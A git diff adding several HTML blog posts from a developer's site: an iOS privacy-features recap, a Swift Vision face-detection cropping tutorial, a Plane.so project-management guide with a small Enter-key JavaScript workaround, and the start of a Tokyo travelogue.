Settings -> Apple ID -> Hide My Email

Settings -> Apple ID -> Hide My Email

Others

App privacy details on the App Store:

Apps must explain on the App Store what user data will be tracked and how it will be used .

For detailed information, refer to: “App privacy details on the App Store”.

Fine control of personal privacy data:

Starting from iOS ≥ 14, location and photo access can be more finely controlled. You can authorize access to only certain photos or allow location access only while using the app.

[Test Project](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"}

Test Project

Starting from iOS ≥ 15, the CLLocationButton button is added to enhance user experience. It allows obtaining the current location through user clicks without asking for permission or consent. This button cannot be customized and can only be triggered by user actions.

Personal Privacy Usage Prompt:

iOS ≥ 15, added personal privacy usage prompts, such as: clipboard, location, camera, microphone

App Privacy Usage Report:

iOS ≥ 15, can export a report of all apps’ privacy-related usage and network activity for the past 7 days.

  1. Since the report file is a .ndjson plain text file, it is not easy to view directly; you can first download the “ Privacy Insights “ app from the App Store to view the report.
  2. Go to Settings -> Privacy -> Scroll to the bottom “Record App Activity” -> Enable Record App Activity.
  3. Save App Activity.
  4. Choose “Import to Privacy Insights “.
  5. After importing, you can view the privacy report.

As mentioned in the news, WeChat indeed secretly reads photo information in the background when the app is launched.

Additionally, I also caught a few other Chinese apps doing sneaky things, so I directly disabled all their permissions in settings.

If it weren’t for this feature exposing them, who knows how long our data would have been stolen!

Recap

Apple’s privacy principles

After understanding the adjustments to privacy features over the years, let’s revisit Apple’s privacy principles:

  • Data Minimization: Apple uses technical means to limit the data accessed.
  • On-Device Processing: Privacy data is not uploaded to the cloud; everything is processed locally. For example, Safari Private Click Measurement, Apple’s machine learning SDK CoreML, Siri/Live Text features in iOS ≥ 15, Apple Maps, News, photo recognition features, etc.
  • User Transparency and Control: Various new privacy access prompts, activity reports, and fine-grained privacy control features.
  • Security: The security of data storage and transmission, avoiding misuse of UserDefault, iOS 15 can directly use CryptoKit for end-to-end encryption, and the transmission security of Private Relay.

Fragmented Data

Returning to the initial technical means of piecing together Harry’s correlation diagram, the connections between websites or apps are blocked, leaving only the clipboard, which will prompt.

For service registration and third-party login information, you can use Sign in with Apple and hide my email features to prevent leaks; or use more native iOS apps.

Offline activities might be protected by using Apple Card to prevent privacy leaks?

No one has the chance to piece together Harry’s activity profile anymore.

Apple is Human-Centric

Therefore, “human-centric” is the term I would use to describe Apple’s philosophy. Going against the commercial market requires a strong belief. Related to this, “technology-centric” is the term I would use for Google, as Google always creates many geeky tech projects. Lastly, “business-centric” is the term I would use for Facebook, as FB pursues commercial gains on many levels.

In addition to adjustments for privacy features, iOS has continuously enhanced features to prevent phone addiction over the past few years, introducing “Screen Time Report,” “App Usage Limits,” “Focus Mode,” and more; helping everyone break free from phone addiction.

Finally, I hope everyone can

  • Value personal privacy
  • Not be controlled by capital
  • Reduce virtual addiction
  • Prevent societal decline

Live a brilliant life in the real world!

Private Relay/IDFA/Pasteboard/Location Test Project:

References

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Crashlytics + Big Query: Creating a More Immediate and Convenient Crash Tracking Tool

Crashlytics + Google Analytics Automatically Query App Crash-Free Users Rate

diff --git a/posts/9a9aa892f9a9/index.html b/posts/9a9aa892f9a9/index.html new file mode 100644 index 0000000000..47e579c866 --- /dev/null +++ b/posts/9a9aa892f9a9/index.html @@ -0,0 +1,211 @@ + Exploring Vision — Automatic Face Detection and Cropping for Profile Pictures (Swift) | ZhgChgLi
Home Exploring Vision — Automatic Face Detection and Cropping for Profile Pictures (Swift)
Post
Cancel

Exploring Vision — Automatic Face Detection and Cropping for Profile Pictures (Swift)

Exploring Vision — Automatic Face Detection and Cropping for Profile Pictures (Swift)

Practical Application of Vision

[2024/08/13 Update]

Without further ado, here is a comparison image:

Before Optimization V.S. After Optimization — [Marry Me APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

Before Optimization V.S. After Optimization — Marry Me APP

With the recent iOS 12 update, I noticed the new CoreML machine learning framework and found it quite interesting. I began to think about how to incorporate it into our current products.

The article on trying out CoreML is now available: Automatically Predict Article Categories Using Machine Learning, Even Train the Model Yourself

CoreML provides the ability to train and reference machine learning models for text and images in an app. Initially, I thought of using CoreML for face recognition to address the issue of cropping heads or faces in the app, as shown on the left in the image above. Faces can easily be cut off due to scaling and cropping if they appear at the edges.

After some online research, I realized my knowledge was limited, and this functionality was already available in iOS 11 through the “Vision” framework, which supports text detection, face detection, image comparison, QR code detection, object tracking, and more.

In this case, I utilized the face detection feature from Vision and optimized it as shown on the right in the image; finding faces and cropping around them.

Let’s get started with the practical implementation:

First, let’s create a feature that can mark the position of faces and get familiar with how to use Vision.

Demo APP

Demo APP

As shown in the completed image above, it can mark the positions of faces in the photo.

P.S. It can only mark “faces,” not the entire head including hair 😅

This program mainly consists of two parts. The first part addresses the issue of white space when resizing the original image to fit into an ImageView. In simple terms, we want the ImageView size to match the image size. Directly inserting the image can cause misalignment as shown below.

You might consider changing the ContentMode to fill, fit, or redraw, but this may cause distortion or cropping of the image.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
let ratio = UIScreen.main.bounds.size.width
+// Here, I set the alignment of my UIImageView to 0 on both sides, with an aspect ratio of 1:1
+
+let sourceImage = UIImage(named: "Demo2")?.kf.resize(to: CGSize(width: ratio, height: CGFloat.leastNonzeroMagnitude), for: .aspectFill)
+// Using KingFisher's image resizing feature, based on width, with flexible height
+
+imageView.contentMode = .redraw
+// Using redraw to fill the contentMode
+
+imageView.image = sourceImage
+// Assigning the image
+
+imageViewConstraints.constant = (ratio - (sourceImage?.size.height ?? 0))
+imageView.layoutIfNeeded()
+imageView.sizeToFit()
+// Here, I adjust the constraints of the imageView. For more details, refer to the complete example at the end of the document
+

Here is the translated content:

The above is the processing for images.

The cropping part uses Kingfisher to assist us, and can also be replaced with other libraries or custom methods.

Next, let’s focus on the code directly.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+
if #available(iOS 11.0, *) {
+    // Supported after iOS 11
+    let completionHandle: VNRequestCompletionHandler = { request, error in
+        if let faceObservations = request.results as? [VNFaceObservation] {
+            // Recognized faces
+            
+            DispatchQueue.main.async {
+                // Operate on UIView, switch back to the main thread
+                let size = self.imageView.frame.size
+                
+                faceObservations.forEach({ (faceObservation) in
+                    // Coordinate system conversion
+                    let translate = CGAffineTransform.identity.scaledBy(x: size.width, y: size.height)
+                    let transform = CGAffineTransform(scaleX: 1, y: -1).translatedBy(x: 0, y: -size.height)
+                    let transRect =  faceObservation.boundingBox.applying(translate).applying(transform)
+                    
+                    let markerView = UIView(frame: transRect)
+                    markerView.backgroundColor = UIColor.init(red: 0/255, green: 255/255, blue: 0/255, alpha: 0.3)
+                    self.imageView.addSubview(markerView)
+                })
+            }
+        } else {
+            print("No faces detected")
+        }
+    }
+    
+    // Recognition request
+    let baseRequest = VNDetectFaceRectanglesRequest(completionHandler: completionHandle)
+    let faceHandle = VNImageRequestHandler(ciImage: ciImage, options: [:])
+    DispatchQueue.global().async {
+        // Recognition takes time, so it is executed in the background thread to avoid freezing the current screen
+        do{
+            try faceHandle.perform([baseRequest])
+        }catch{
+            print("Throws: \(error)")
+        }
+    }
+  
+} else {
+    //
+    print("Not supported")
+}
+

The main thing to note is the coordinate system conversion part; the results recognized are in the original coordinates of the image; we need to convert it to the actual coordinates of the ImageView outside to use it correctly.

Next, let’s focus on today’s highlight - cropping the correct position of the avatar according to the position of the face.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+
let ratio = UIScreen.main.bounds.size.width
+// Here, because I set the left and right alignment of my UIImageView to 0, with a ratio of 1:1, details can be found in the complete example at the end
+
+let sourceImage = UIImage(named: "Demo")
+
+imageView.contentMode = .scaleAspectFill
+// Use scaleAspectFill mode to fill
+
+imageView.image = sourceImage
+// Assign the original image, we will operate on it later
+
+if let image = sourceImage, #available(iOS 11.0, *), let ciImage = CIImage(image: image) {
+    let completionHandle: VNRequestCompletionHandler = { request, error in
+        if request.results?.count == 1, let faceObservation = request.results?.first as? VNFaceObservation {
+            // One face
+            let size = CGSize(width: ratio, height: ratio)
+            
+            let translate = CGAffineTransform.identity.scaledBy(x: size.width, y: size.height)
+            let transform = CGAffineTransform(scaleX: 1, y: -1).translatedBy(x: 0, y: -size.height)
+            let finalRect =  faceObservation.boundingBox.applying(translate).applying(transform)
+            
+            let center = CGPoint(x: (finalRect.origin.x + finalRect.width/2 - size.width/2), y: (finalRect.origin.y + finalRect.height/2 - size.height/2))
+            // Here is the calculation of the middle point position of the face range
+            
+            let newImage = image.kf.resize(to: size, for: .aspectFill).kf.crop(to: size, anchorOn: center)
+            // Crop the image according to the center point
+            
+            DispatchQueue.main.async {
+                // Operate on UIView, switch back to the main thread
+                self.imageView.image = newImage
+            }
+        } else {
+            print("Detected multiple faces or no faces detected")
+        }
+    }
+    let baseRequest = VNDetectFaceRectanglesRequest(completionHandler: completionHandle)
+    let faceHandle = VNImageRequestHandler(ciImage: ciImage, options: [:])
+    DispatchQueue.global().async {
+        do{
+            try faceHandle.perform([baseRequest])
+        }catch{
+            print("Throws: \(error)")
+        }
+    }
+} else {
+    print("Not supported")
+}
+

The logic is similar to marking the position of a face, the difference is that the avatar part has a fixed size (e.g. 300x300), so we skip the first part that requires the Image to fit the ImageView.

Another difference is that we need to calculate the center point of the face area and use this center point as the reference for cropping the image.

The red dot is the center point of the face area

The red dot is the center point of the face area.

Final effect image:

The second before the blink is the original image position

The second before the blink is the original image position.

Complete app example:

The code has been uploaded to Github: Click here

For any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

iOS ≥ 10 Notification Service Extension Application (Swift)

Exploring iOS 12 CoreML — Automatically Predict Article Categories Using Machine Learning, Even Train the Model Yourself!

diff --git a/posts/9d0f23784359/index.html b/posts/9d0f23784359/index.html new file mode 100644 index 0000000000..5171979d2b --- /dev/null +++ b/posts/9d0f23784359/index.html @@ -0,0 +1,41 @@ + Plane.so Free Open Source and Self-Hosted Support Project Management Tool Similar to Asana/Jira | ZhgChgLi
Home Plane.so Free Open Source and Self-Hosted Support Project Management Tool Similar to Asana/Jira
Post
Cancel

Plane.so Free Open Source and Self-Hosted Support Project Management Tool Similar to Asana/Jira

Plane.so Free Open Source and Self-Hosted Support Project Management Tool Similar to Asana/Jira

Introduction to the use of Plane.so project management tool with Scurm process

Background

Asana

At my previous company Pinkoi, I first experienced the power of Asana project management tool. Whether it was internal project management or collaboration across teams, Asana played a role in decoupling dependencies between individuals and tasks, enhancing collaboration efficiency.

In my previous company, all teams, from product teams to operations, business teams (such as HRBP, Finance, Marketing, BD, etc.), had a publicly accessible Project as a single collaboration entry point across teams. When other teams needed assistance, they could directly create a Task (which could also be from a Template Task) in that Project (usually with a Need Help! Section). The team would then take over the Task internally for execution.

For cross-team collaboration with the operations team, such as procurement and recruitment processes, tasks could be directly created and progress tracked through Asana. For collaboration with business teams, such as marketing campaign planning, tasks requiring engineering assistance, and more.

Without Asana or similar project management tools:

  • Direct communication with the other team for anything is most effective for P0 tasks, but in daily operations, 90% of tasks are not P0. Direct communication for all tasks, regardless of size, is inefficient and can disrupt the workflow of the other team.
  • Task execution is not transparent, and only the parties involved in the conversation know the progress. For tasks involving multiple parties, progress confirmation relies on repeated communication. Additionally, supervisors find it challenging to manage task allocation for everyone.
  • Task assignment: We receive many tasks daily, each with varying priorities and directions. Having a tool allows us to collect and categorize similar issues for future resolution. It also makes it easier to prioritize important tasks in daily work.
  • Task handover: A tool records task details and progress. When assistance from others is needed, task details can be quickly accessed for task handover.

Returning to project management, Asana provides flexible, multidimensional, and automated project management tools that can be customized according to requirements.

There are many ways to use Asana. The following are just a few examples of use cases. It is recommended to determine your needs before applying relevant Asana examples.

Asana’s Taiwan distributor also provides comprehensive educational training. If interested, you can contact them.

(This article is not sponsored)

Example 1

Team Project

Team Project

  • To Do: Tasks to start this week or next week
  • In Progress: Projects currently in progress
  • Review: Completed and awaiting Sprint Review
  • Backlog: Task pool, tasks picked from here weekly for execution

Team Scrum Project

Team Scrum Project

In addition to the main team Project, a Scrum Project is created to manage tasks (Asana tasks can be added to multiple Projects simultaneously) and review the execution content of each Sprint.

Example 2

Example two uses Sections to differentiate Sprints, creating a new Section each week for tasks and using Labels to mark other statuses.

Back to Reality

As mentioned earlier, the scenarios with Asana project management tools at my previous company Pinkoi. In the past few months, returning to an environment without project management tools has made me realize the importance of tools for work efficiency.

The current environment does not have a more modern project management tool, based on procurement (expense control), internal control issues (pure intranet), and personal data audit restrictions (must be on-premises), so Asana cannot be directly introduced for use.

Due to the above environmental limitations, we can only start with open-source and self-hosted project management tools. The solutions found are nothing more than: Redmine, OpenProject, Taiga… Several solutions were tried, but the results were not as expected, lacking functionality and having unfriendly UI/UX. It wasn’t until I accidentally found a project management tool called Plane.so, which was newly launched in January 2023.

By the way, I recommend this website, which includes many services that support self-hosting:

awesome-selfhosted A list of Free Software network services and web applications which can be hosted on your own servers awesome-selfhosted.net

That’s enough talk, let’s get to the main content.

Table of Contents

This document is divided into:

  • Introduction to Plane.so
  • Plane.so Operation Tutorial
  • Plane.so x Scrum Workflow Example
  • Appendix

You can refer to the next section “ Plane.so Docker Self-Hosted Setup Record “ for Docker self-hosted setup instructions.

Introduction to Plane.so

Overview

Plane was founded in 2022 and is a startup company from Delaware, USA, and India. Currently, most of the developers observed on Linkedin and Github are in India. The company has raised $4 million in seed funding (invested by OSS Capital).

Currently, Plane ranks first in the Github project management category, is open-source using the AGPL-3.0 license, was launched in January 2023, and is still in the development phase, with no official release yet.

Please note: ⚠️ Open-source does not mean free ⚠️ **, just like Github and Gitlab, there are many project management tools similar to Github, such as Asana, Jira, Clickup, but there is no product good enough to compete with Gitlab’s open-source products yet. Plane aims to be the Gitlab of project management tools.

  • Approximately updated every two to three weeks, with some adjustments that may have significant differences or still have security issues.
  • Currently does not support multilingual (Chinese).
  • Supports Self-Hosted
  • The official version does not provide export from Cloud to import into Self-Hosted. It can only be achieved by integrating through the API. Therefore, if considering using Self-Hosted on-premises, it is recommended to treat Cloud as a trial version only.
  • macOS App, iOS App, Android App are also actively under development.

You can refer to the Plane Product Roadmap on the official website:

Plane Product Roadmap

Open Source Repo:

Solution

Plane offers cloud-based services starting at $0, with Pro providing more frameworks and integration, as well as automation features.

Additionally, the official is promoting a $799 early lifetime plan for those interested in paying to support the team can refer directly to this plan:

Community Edition (referred to as CE by the official), Self-Hosted version, also starting at $0, if you want to use advanced features, you still need to purchase Pro but can support Self-Hosted.

Framework

Plane.so differs from Asana’s multidimensional flexibility, but Plane is composed of the following frameworks for project management:

  • Issues: Similar to Asana Task, any work is opened as an Issue for scheduling or as a record.

  • Cycles: Similar to Sprints, a time cycle or version of iteration, each Issue can only exist in one Cycle.

  • Modules: Projects, modules, classification functions, each Issue can be added to multiple Modules.

  • Layouts & Views: You can use Gantt charts, calendars, kanban boards, lists, and Sheet mode to view Issues, and you can save filtering conditions and display methods as Views for quick viewing.

  • Inbox: Issue Proposed process, you can create a proposal Issue, and it will only be created in the project after approval, otherwise directly

  • Pages: Simple document function, can record some work, product matters.

  • Drive: Similar to Google Drive team file function.

Currently, the free version and CE (Self-Hosted) version do not have this feature.

Plane.so Operation Tutorial

We can quickly and freely start using the Plane Cloud version directly:

Plane | Simple, extensible, open-source project management tool. Open-source project management tool to manage issues, sprints, and product roadmaps with peace of mind. app.plane.so

Workspace

  • When you first enter Plane.so, you will need to create your first Workspace.
  • Workspaces are similar to Asana workspaces, where one account can join multiple Workspaces.
  • For small companies with cross-team usage, you can use the same Workspace.
  • For large companies with cross-team usage, Plane does not have features like Asana’s Team function or Project grouping; using the same Workspace will lead to confusion in Projects, so it is recommended to use Workspaces to differentiate teams directly.

After creation, you can switch between different Workspaces on the Workspace dropdown menu and also access Workspace Settings from here:

  • General Workspace avatar, name, URL
  • Billing and plans payment information, upgrade plans
  • Integrations third-party integrations, currently only Github and Slack integrations are available in the free version
  • Imports import function, currently only Jira, Github Project imports are available
  • Exports export function, currently only csv, excel, json formats are available for export
  • Webhooks API tokens, self-integrate API

One of the most important settings is Members, where we need to invite team members to join the Workspace:

  • Guest/Viewer currently have no significant differences in functionality, can only view Issues, Comments, Emojis; if they are external users with different organization emails, they are Guests, if they are from the same organization, they are Viewers
  • Member can perform all functions
  • Admin can access Settings

Home Page

  • Home displays all Projects and member statuses in the Workspace
  • Analytics analyzes all members and Issues
  • Projects lists all Projects
  • All Issues lists all Issues in all Projects
  • Active Cycles shows the current Cycle status of all Projects
  • Notifications for Issue notifications

Projects

Enter Projects to view all public and joined Projects:

  • Project name, description, cover image, prefix (Issue Alias e.g. APP-1)
  • Project permissions: Public can be viewed and joined by all Workspace members; Private can only be joined by invited members
  • Lead: Project’s main responsible person

In the top right corner of the Project, click on “…” to:

  • Add to favorites, Pin to My Favorites (above Your Projects)
  • Publish to generate a public external link, similar to the official Roadmap Project
  • Draft Issues to view saved draft Issues
  • Archives to view archived Issues

Other settings:

  • General: general project settings
  • Members: project members, project permissions
  • States: project Issue statuses (will be introduced later)
  • Labels: project Labels management
  • Features: control which features to enable (Inbox feature is not enabled by default)
  • Estimates: project estimation field settings (will be introduced later)
  • Integrations: third-party integrations (Workspace must be enabled first)
  • Automations: currently, the free version only supports automatically archiving Closed Issues after X time, automatically closing unfinished Issues after X time

Issues

  • Enter from the left side to create a Project under Projects.
  • Unlike Asana, Plane’s Issue can only be added to one Project.
  • You can switch display modes in the top right corner.
  • By default, all Sub-Issues are expanded. If it feels cluttered, you can go to Display -> Uncheck Show sub-Issues.

Click “Create Issue” to start creating an Issue:

  • Save as draft Issues.
  • Support text styles, Code Block.
  • Support Markdown.
  • Support text wrapping around images, you can directly drag and drop images to upload.
  • Support multiple Assignees (more convenient than Asana, which only supports one Assignee per Task).
  • Choose Priority, different Priorities have different highlighting styles (currently unable to customize Priority).

  • Choose Modules, can add multiple Modules, for example: Login optimization, App … (settings will be introduced later).
  • Choose Cycle, where to work in which Sprint, can only choose one, for example: W22, S22, 2024-05 … (settings will be introduced later).
  • Currently does not support custom Issue Properties.
  • Choose Add parent, add this Issue as a Sub-Issue to the Parent Issue.
  • Choose Labels (a.k.a Tag function).
  • Choose Start Date, Due Date… (currently does not support precise time, does not support Repeated Issue).
  • Choose Estimate (a.k.a Scrum story point or estimated resources to be invested), Estimate can be adjusted or added in Settings; however, currently only one Estimate field can be enabled and Estimate Value can only be set to 6. (Official Roadmap states that this feature will be improved in 2024Q2).

  • Choose Issue State, State can be adjusted or added in Settings.

Create Issue Content using AI:

  • Click the AI button next to Create to enter a Prompt and automatically generate default Issue content, click Use this response to apply it to the Issue Description.

After creating the Issue, clicking on it in the list will bring up the Issue Preview window, where you can click to expand into the Issue Full-Screen page:

Click to expand into the Issue Full Screen Detail page:

  1. Image preview, can be dragged or right-clicked to open in a new window for enlargement (currently unable to click to enlarge).
  2. Click to add a Sub-Issue (Sub-Issues currently do not support sorting or Section functions).
  3. Add emojis (currently only seven types of emojis available: 👍👎😀💥😕✈️👀).
  4. Upload additional files (not limited to images, but currently images do not have a preview function, need to click to view).
  5. Discussion area for comments (currently, the Chinese selection will be automatically submitted, please refer to the solution at the end of the document).
  6. Subscribe/unsubscribe to this Issue to change notifications.
  7. Relates to can add related Issues.
  8. Blocking can mark Issues that are being blocked by this Issue (currently no special function).
  9. Blocked by can mark Issues that are blocking this Issue (currently no special function).
  10. Duplicate of marks duplicate Issues (currently no special function).
  11. Labels for quick tagging, creating tags.
  12. Links related links, can add external links such as Figam, Google Doc.
  13. Delete, archive Issue.

Cycle Cycle

  • The homepage will display the current Cycle with its execution status and burnout chart.
  • It also shows upcoming Cycles and completed Cycles.
  • Currently, Cycles need to be created manually.
  • For example, if a Sprint is every two weeks, you need to create SXX and specify the time cycle.
  • Cycle time cycles cannot be duplicated.
  • Cycle time cycles cannot be selected in the past.
  • Only one Issue can be added to a Cycle.

  • Click to view Cycle details, use different display methods and filters to view Issues at the top.
  • There is a burnout chart and execution status on the right.
  • View Issues based on Assignees, Labels, and States.

Modules Modules

  • Modules can be used as project summaries, OKR goals, and functional categories (Design, FE, BE, App, etc.).
  • You can set project Leads & Members.
  • Project progress is different from Issue State, with additional Planned and Paused statuses.
  • You can set date ranges.

  • Click to view Module details, use different display methods and filters to view Issues at the top.
  • There is a burnout chart and execution status on the right.
  • View Issues based on Assignees, Labels, and States.
  • You can add a Link to a Module.

Views Views

  • Create Views for commonly used filter conditions and viewing modes to quickly view from here.
  • You can use different display methods and filters to view Issues at the top of the View.

Pages Simple Documentation

  • Pages provide a WYSIWYG document editor, making it easy to write documents and insert images.
  • Currently does not support directories or categorization, and documents can become messy when there are many.
  • Document permissions: Public for all Project members to see, Private visible only to yourself.

Notifications Issues Personal Notification Functionality

  • Subscribed Issues will receive notifications for status changes, content updates, and new comments.
  • By default, Issues created by yourself, assigned to you, or in projects where you are the Lead will be subscribed.
  • Currently no Slack or third-party notifications.

Currently, only Email notifications are available:

  • Turn on Email notifications from Profile -> Settings -> Preferences -> Email.

Dark Mode

  • Choose the Plane theme from Profile -> Settings -> Preferences -> Theme.

Official Manual

Plane Documentation - Plane Plane is an extensible, open source project and product management tool. It allows users to start with a basic task… docs.plane.so

⚠️⚠️Disclaimer⚠️⚠️

The above is the usage introduction for version 0.20-Dev as of May 25, 2024. The official team is still actively developing new features and optimizing user experience. The functionality mentioned above may be improved in the future. Please refer to the latest version for the best experience.

During the development of the project, there may be bugs and user experience issues. Please be patient with the Plane.so team. If you have any questions, feel free to report them below:

Plane.so x Scrum Workflow Example

Architecture

  • Each team has its own Workspace.
  • Each team will have a main product Project.
  • Projects: Other projects can be created such as marketing ad projects, customer support projects, or projects collaborating with external parties, separate from the main product development project.
  • Modules: Create Function Modules (design, frontend, backend, app) for easy tracking by Team Leads, and establish OKRs or project goals within Modules (improve conversion rates, OKR-1 increase GMV, etc.).
  • Cycle: Create Cycles based on Sprint cycles, for example, if there is a Sprint every week, you can create W12 or use the date format like 2024-05-27.
  • Since Cycles cannot be automatically created at the moment, it is necessary to create future Cycles monthly or weekly.
  • All work should be initiated by opening an Issue.
  • If possible, Issues should include Start Date & Due Date, Modules, and Priority.
  • If an Issue keeps switching between In-Progress and Cycles (cannot be completed within one Cycle), consider breaking down the Issue for better project management.

Process

  • Sprint Cycle: One week
  • Backlog: Open Issues for all work and ideas, State = Backlog, provide Estimate and Priority.
  • Weekly Sprint Planning Meeting: Select Issues from the Backlog and those currently in progress (To Do or In Progress), set Priority/Estimate, arrange for execution in the current Sprint, and add them to the Cycle.
  • If there are ad-hoc Issues to be executed during the Sprint, they should also be opened directly in the current week’s Cycle.
  • Daily Stand-up: Spend 15 minutes each morning quickly sharing the status of Issue execution.
  • Prepare and start executing Issues, change status to ToDo/In Progress.
  • Upon completion of an Issue, change status to Done, or consider creating a Review State.
  • Weekly Sprint Review Meeting on Fridays: Review the Issues completed during the week (not for Planning the next week), quickly review completed Issues, and ensure Estimates are filled in for future reference.
  • Try to ensure that all Issues within the Cycle are completed by the end of the week. For unfinished Issues, decide whether to include them in the next week’s Cycle or change to Pending/Cancel.
  • Continuously iterate through the above process to manage all Issues and Projects.

⚠️⚠️Disclaimer⚠️⚠️

The above is just an example of a workflow. Please note that there is no perfect process, only the one that suits your team. Refer to the structure provided by Plane.so to unleash creativity and find the best project management approach.

Appendix

API

Plane.so has a clean frontend-backend separation architecture, providing a comprehensive API. After creating API Tokens from Workspace Settings, you can use the API by including the API Request Header X-API-Key. For API Endpoint request methods, refer to the official API documentation.

However, since the official documentation is not yet complete and many request methods are not listed, the quickest way is to open the browser tools, check the Network requests, and see how the official site makes API requests. Then, apply your own Key to use it.

Issue Comment, submitting the question directly after selecting Chinese characters

Opened an Issue with the official & followed the Source Code, feeling that the chances of fixing it are quite low, because it didn’t consider the need to select the language from the beginning, so it directly binds the Enter Event on the keyboard to submit the Comment.

Browser Extension Workaround:

Here is a workaround JavaScript script I wrote to hook the Enter event.

  1. First, install the JavaScript browser injection plugin:

This is a shared extension for Chromium, other browsers can also search for similar JavaScript Inject tools.

  1. Go back to Plane.so, click on the extension -> click on “+”

  1. Inject the following JavaScript into Plane.so
    1
    +2
    +3
    +4
    +5
    +6
    +7
    +8
    +9
    +10
    +11
    +12
    +13
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +
    document.addEventListener('keydown', function(event) {
    + if (event.key === 'Enter' || event.keyCode === 13) { // event.keyCode is for older browsers
    +  const focusedElement = document.activeElement;
    +  const targetButtons = focusedElement.parentElement.parentElement.parentElement.parentElement.parentElement.querySelectorAll('button[type="submit"]');
    +if (targetButtons.length > 0 && targetButtons[0].textContent.trim().toLowerCase() === "comment") {
    + console.log("HIT");
    + // Focus the active element and place the cursor at the end
    + focusedElement.focus();
    + if (window.getSelection) {
    +  var range = document.createRange();
    +  var selection = window.getSelection();
    +  range.selectNodeContents(focusedElement);
    +  range.collapse(false);
    +  selection.removeAllRanges();
    +  selection.addRange(range);
    + }
    + event.stopImmediatePropagation();
    +}
    + }
    +},true);
    +

  • After pasting the code, click “Save”.

Go back to Plane.so (refresh) and open an Issue to test the Comment function.

  • Press Enter to select a word will no longer automatically submit, press Space + Shift Enter to line break, manually click Comment to submit a comment.

⚠️⚠️⚠️Security Issue⚠️⚠️⚠️

Because Plane.so is still in the development stage and the product is very new, it is uncertain whether there are security issues. It is recommended not to upload any sensitive data to avoid data leakage in case of major issues with the service, or use Self-Hosted to self-host for local intranet use.

Plane Self-Hosted Self-Hosting Tutorial

For any questions and suggestions, please feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

What Can Be Done to Commemorate When an App Product Reaches Its End?

Plane.so Docker Self-Hosted Setup Record

diff --git a/posts/9da2c51fa4f2/index.html b/posts/9da2c51fa4f2/index.html new file mode 100644 index 0000000000..3ddd0e9b68 --- /dev/null +++ b/posts/9da2c51fa4f2/index.html @@ -0,0 +1 @@ + Travelogue 2023 Tokyo 5-Day Free and Easy Trip | ZhgChgLi
Home Travelogue 2023 Tokyo 5-Day Free and Easy Trip
Post
Cancel

Travelogue 2023 Tokyo 5-Day Free and Easy Trip

[Travelogue] 2023 Tokyo 5-Day Free and Easy Trip

Record and travel information for a 5-day free and easy trip to Tokyo in June 2023, following the Kansai region trip last month.

2023/05 Kansai Region 8-Day Free and Easy Trip

Following the previous post “Travelogue] 2023 Kansai Region & 🇯🇵 First Landing”, I quickly returned to Japan a week later.

You may wonder why not stay in Japan and take the Shinkansen from Osaka to Tokyo directly? The reason is that the Tokyo trip was actually the originally planned overseas trip, while the Kansai region trip was just an impromptu decision.

Plus, I didn’t want to change flight tickets, accommodations, and have to Work From Japan for a week (I believe in pure enjoyment when traveling), so I returned to Taiwan after the Kansai region trip.

Looking back, it was a good decision to return; because during the week I returned to Taiwan, Japan was hit by a super typhoon, causing flooding, Shinkansen suspension, and overcrowded train stations; if I had been in Japan that week, there wouldn’t have been many places to go. (Finally, not the rain god anymore!)

Tokyo Trip Group - Three Single Men

Myself, current colleague (Sean), and former colleague (James Lin); where Sean and James are university classmates. (Yes, the industry is that small XD)

For information on entering Japan and other insights, please refer to the previous post.

KKday Promotion

Pre-Trip Preparation

Although the Tokyo trip was the planned overseas arrangement, we only talked about it until the Kansai region plans were almost finalized. It was only then that we started planning and executing the Tokyo trip.

Joy

tripmoment

tripmoment

For places I haven’t been to, I am still an ENFP spontaneous type, finding everywhere fresh and exciting; so I mainly took care of the general direction of flights, accommodations, and transportation; we decided on attractions based on where other travel companions wanted to go or where we felt like visiting at the moment.

Joy, mainly handled by Sean & James, we planned to buy tickets in advance for Disneyland (Ocean), Yokohama Gundam, and Shibuya Sky; so we bought the tickets two weeks before departure.

If you don’t buy them in advance, there won’t be any available slots on-site.

This time, I brought the remaining Japanese yen from the last trip, around $60,000, and ended up with around $5,000 left.

Because my Visa card couldn’t be used at a drugstore in Shinjuku, I had to pay over $10,000 in cash for cosmetics, and I decided to spend all the remaining cash.

Also, I almost couldn’t return; when buying a ticket from Tokyo Station to Narita Airport, my card couldn’t be used, and I had to scramble to gather enough cash for the fare.

Journey

🛫

Since this trip was only for 5 days and time was limited, we prioritized early departure and late return flights; we directly checked SkyScanner for flights with suitable timings.

Taipei <-> Narita

  • 6/7 EVA Air BR 184 08:00 TPE -> NRT 12:25
  • 6/22 EVA Air BR 195 20:40 NRT -> TPE 23:20

  • Round trip: $17,086

There was a mistake here, you shouldn’t buy three plane tickets for one person, each person should buy their own ticket because using a credit card to purchase tickets will provide travel insurance.

Later, I found out that flying from Songshan to Haneda wasn’t much more expensive and was more convenient Orz.

Travel insurance: Done

📲

Similarly, purchase a 5-day unlimited data SIM card on KKDAY for about $500.

🚈

Same as the previous post, I used the Suica card directly on my iPhone, but my friend with an Android phone had to buy the Welcome Suica limited-time card (ask at Narita Airport, that’s the only option available).

Accommodation

